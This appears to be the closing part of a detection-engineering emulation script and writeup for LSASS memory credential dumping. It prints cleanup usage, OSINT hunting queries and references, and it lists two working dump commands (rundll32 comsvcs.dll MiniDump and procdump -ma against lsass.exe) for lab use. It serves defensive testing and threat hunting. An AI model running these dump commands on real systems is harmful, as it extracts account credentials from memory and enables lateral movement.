Write-Host "Cleanup:" -ForegroundColor DarkGray
Write-Host " .\emulate.ps1 -CleanupOnly"
Write-Host ""
Write-Host "For higher-fidelity testing (isolated lab VM only):" -ForegroundColor DarkGray
Write-Host " 1. rundll32.exe comsvcs.dll MiniDump <lsass_pid> C:\Temp\test.dmp full"
Write-Host " 2. procdump.exe -accepteula -ma lsass.exe C:\Temp\lsass.dmp"
Write-Host " 3. These generate authentic EID 10 with dbgcore.dll in CallTrace"
Write-Host ""
OSINT Pivots
behavior_processes:"lsass" behavior:"NtOpenProcess" tag:cred-stealer
content:"sekurlsa" OR content:"MiniDumpWriteDump" OR content:"comsvcs" positives:5+
"NtOpenProcess" "lsass" language:C OR language:C++
"MiniDumpWriteDump" "lsass" OR "sekurlsa" language:C#
category:"malicious" AND (behavior:"PPL bypass" OR behavior:"LSASS access")
suricata:"lsass" OR commandline:"sekurlsa" OR commandline:"comsvcs"
References
- https://attack.mitre.org/techniques/T1003/001/
- https://attack.mitre.org/techniques/T1003/
- https://github.com/fortra/nanodump
- https://github.com/codewhitesec/HandleKatz
- https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/
- https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
- https://www.blackhillsinfosec.com/red-teamers-cookbook-byoi-bring-your-own-interpreter/